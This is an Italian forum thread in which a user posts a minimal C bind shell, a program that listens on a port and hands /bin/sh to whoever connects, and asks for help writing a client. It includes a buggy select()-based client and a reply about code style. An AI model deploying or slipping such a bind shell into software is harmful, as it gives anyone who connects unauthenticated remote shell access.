Torna indietro   Hardware Upgrade Forum > Software > Programmazione

HP Imagine 2026: abbiamo visto HP IQ all’opera, ecco cosa può (e non può) fare
HP Imagine 2026: abbiamo visto HP IQ all’opera, ecco cosa può (e non può) fare
A New York HP ha messo al centro della scena HP IQ, la piattaforma di IA locale da 20 miliardi di parametri. L’abbiamo vista in funzione: è uno strumento che funziona, pensato per un target specifico, con vantaggi reali e limiti altrettanto evidenti
PNY RTX 5080 Slim OC, sembra una Founders Edition ma non lo è
PNY RTX 5080 Slim OC, sembra una Founders Edition ma non lo è
La PNY GeForce RTX 5080 Slim OC si distingue nel panorama delle GPU di fascia alta per il design compatto a due slot, ispirato alla NVIDIA GeForce RTX 5080 Founders Edition. In questo test analizziamo comportamento termico e prestazioni in gioco, valutando se il formato ridotto comprometta o meno l'esperienza complessiva rispetto alle soluzioni più ingombranti presenti sul mercato.
Wi-Fi 7 con il design di una vetta innevata: ecco il nuovo sistema mesh di Huawei
Wi-Fi 7 con il design di una vetta innevata: ecco il nuovo sistema mesh di Huawei
HUAWEI WiFi Mesh X3 Pro Suite è probabilmente il router mesh più fotogenico che si possa acquistare oggi in Italia, ma dietro il guscio in acrilico trasparente e le luci LED dinamiche c'è una macchina tecnica costruita attorno allo standard Wi-Fi 7, con velocità teoriche Dual-Band fino a 3,6 Gbps e una copertura fino a 120 m² una volta abbinato il router principale all'extender incluso nel kit
Tutti gli articoli Tutte le news

Vai al Forum
Rispondi
 
Strumenti
Old 10-02-2010, 14:56   #1
Teo@Unix
Senior Member
 
L'Avatar di Teo@Unix
 
Iscritto dal: Mar 2009
Messaggi: 753
[C] linux socket

Partendo dal codice seguente:

Codice:
#include <sys/socket.h>
#include <netinet/in.h>

int soc,cli;
struct sockaddr_in serv_addr;

int main()
{
	if(fork()==0)						
	{
		serv_addr.sin_family=2;
		serv_addr.sin_addr.s_addr=0;
		serv_addr.sin_port=0xAAAA;
		soc=socket(2,1,6);				
		bind(soc,(struct sockaddr *)&serv_addr,0x10);	
		listen(soc,1);					
		cli=accept(soc,0,0);				
		dup2(cli,0);					
		dup2(cli,1);
		dup2(cli,2);
		execve("/bin/sh",0,0);			
	}
}
come lo scrivo un client per questo?
Ho provato con lo schema classico utilizzando select() in un while(1) più recv e send per leggere dal socket o scriverci, solito insomma... però così credo non vada bene....con recv e send ottengo:
read: Socket operation on non-socket
e se uso write e read.... non ottengo risposta..mmm non so che provare

grazie!

EDIT: O meglio il programma suddetto si termina.....

Ultima modifica di Teo@Unix : 10-02-2010 alle 15:02.
Teo@Unix è offline   Rispondi citando il messaggio o parte di esso
Old 10-02-2010, 21:13   #2
fero86
Senior Member
 
Iscritto dal: Oct 2006
Città: Roma
Messaggi: 1383
perché non usi le costanti simboliche?
cosi il codice é illeggibile.

comunque posta il codice del client: non ti si puó dire il problema del client leggendo il codice del server

PS: e controlla i valori di ritorno delle funzioni.
fero86 è offline   Rispondi citando il messaggio o parte di esso
Old 10-02-2010, 21:43   #3
Teo@Unix
Senior Member
 
L'Avatar di Teo@Unix
 
Iscritto dal: Mar 2009
Messaggi: 753
si allora, quel che domando è ... se scrivo un client in stile telnet funziona con questo tipo di programma? Chiedo perchè non ho mai provato a connettermi a /bin/sh in ascolo su un socket.....

per quanto riguarda lo stile del programma, che giustamente hai notato, è perchè la lunghezza del codice deve essere il più breve possibile .... quindi tralascio tutto il tralasciabile

tornando al client non so, ne ho scritto oggi uno velocemente e a parte dire se è giusto il codice ..... vorrei sapere con certezza se connettersi a /bin/sh in ascolto su un socket è uguale a connettersi ad un programma tipo telnetd o simile.... (tralasciando le negoziazioni che fanno) ....

per esempio un client del genere (come stile) può connettersi al programma suddetto?:

Codice:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/select.h>
#include <unistd.h>
#include <netdb.h>

//MACROs:
#define MAX(a,b) ((a)>(b)?(a):(b))

// functions prototypes:
int create_sockshell(struct sockaddr*,int); //Return a connected socket

int main(int argc, char *argv[])
{
	struct sockaddr_in myaddr;
	struct hostent* he;
	int maxfd;
	char send_buffer[2048], recv_buffer[2048], *host = argv[1];
	fd_set rset;
	
	//  **** Resolving Hostname **********************
	if((he = gethostbyname(host)) == NULL) {
		perror("gethostbyname");
		exit(-1);
	}
	// ************************************************
	
	myaddr.sin_family = AF_INET;
	myaddr.sin_addr = *((struct in_addr *)he->h_addr);
	myaddr.sin_port = 0xAAAA;
	
	int sock = create_sockshell((struct sockaddr *)&myaddr,sizeof(myaddr));

	while(1)
	{
		FD_ZERO(&rset);
		FD_SET(STDIN_FILENO,&rset);
		FD_SET(sock,&rset);
		maxfd = MAX(STDIN_FILENO,sock)+1;
		select(maxfd,&rset,NULL,NULL,NULL);
		if(FD_ISSET(sock,&rset))
		{
			memset(recv_buffer,0,sizeof(recv_buffer));
			if(recv(sock,recv_buffer,sizeof(recv_buffer),0) <= 0)
			{
				perror("read");
				exit(-1);
			}
			else
				printf("%s",recv_buffer);
		}
		if(FD_ISSET(STDIN_FILENO,&rset))
		{
			memset(send_buffer,0,sizeof(send_buffer));
			read(STDIN_FILENO,send_buffer,sizeof(send_buffer));
			if(send(sock,send_buffer,sizeof(send_buffer),0) <= 0)
			{	
				perror("write");
				exit(-1);
			}
		}
	}
}

int
create_sockshell(struct sockaddr* sa, int sockaddr_len)
{
	int sock,fd;
	sock = socket(AF_INET,SOCK_STREAM,0);
	if(sock <= 0) {perror("socket"); exit(-1);}
	if(fd = connect(sock,sa,sockaddr_len) == -1)
	{
		perror("connect");
		exit(-1);
	}
	return(fd);
}
EDIT:
ho trovato un esempio che usa read e gets... e come stile il mio dovrebbe essere corretto... mo provo... magari è solo un errore che ho commesso nel client che ho scritto

Ultima modifica di Teo@Unix : 10-02-2010 alle 21:58.
Teo@Unix è offline   Rispondi citando il messaggio o parte di esso
 Rispondi


HP Imagine 2026: abbiamo visto HP IQ all’opera, ecco cosa può (e non può) fare HP Imagine 2026: abbiamo visto HP IQ all’opera, ...
PNY RTX 5080 Slim OC, sembra una Founders Edition ma non lo è PNY RTX 5080 Slim OC, sembra una Founders Editio...
Wi-Fi 7 con il design di una vetta innevata: ecco il nuovo sistema mesh di Huawei Wi-Fi 7 con il design di una vetta innevata: ecc...
Core Ultra 7 270K Plus e Core Ultra 7 250K Plus: Intel cerca il riscatto ma ci riesce in parte Core Ultra 7 270K Plus e Core Ultra 7 250K Plus:...
PC Specialist Lafité 14 AI AMD: assemblato come vuoi tu PC Specialist Lafité 14 AI AMD: assemblat...
Blue Origin sta assemblando il secondo l...
Meta moltiplica gli investimenti in data...
Addio riflessi fastidiosi? Samsung prese...
PlayStation 5, doccia fredda da Sony: i ...
Super Meat Boy 3D: annunciata la data d'...
XT View Matrix, il mid-tower Phanteks ch...
David Sacks lascia il ruolo di 'Crypto C...
LG All Stars 2026: quando l'installatore...
Addio ad Anna's Archive? Ecco la mossa l...
Addio al Mac Pro, Apple mette fine a un ...
Panasonic a MCE 2026: la rivoluzione sil...
Netflix alza la posta: il piano Premium ...
Nimbus Innovation Awards – Cloud Edition...
Wikipedia vieta i contenuti generati dal...
Niente volante, niente schermi: cos&igra...
Chromium
GPU-Z
OCCT
LibreOffice Portable
Opera One Portable
Opera One 106
CCleaner Portable
CCleaner Standard
Cpu-Z
Driver NVIDIA GeForce 546.65 WHQL
SmartFTP
Trillian
Google Chrome Portable
Google Chrome 120
VirtualBox
Tutti gli articoli Tutte le news Tutti i download

Strumenti

Regole
Non Puoi aprire nuove discussioni
Non Puoi rispondere ai messaggi
Non Puoi allegare file
Non Puoi modificare i tuoi messaggi

Il codice vB è On
Le Faccine sono On
Il codice [IMG] è On
Il codice HTML è Off
Vai al Forum


Tutti gli orari sono GMT +1. Ora sono le: 18:53.


Powered by vBulletin® Version 3.6.4
Copyright ©2000 - 2026, Jelsoft Enterprises Ltd.
Served by www3v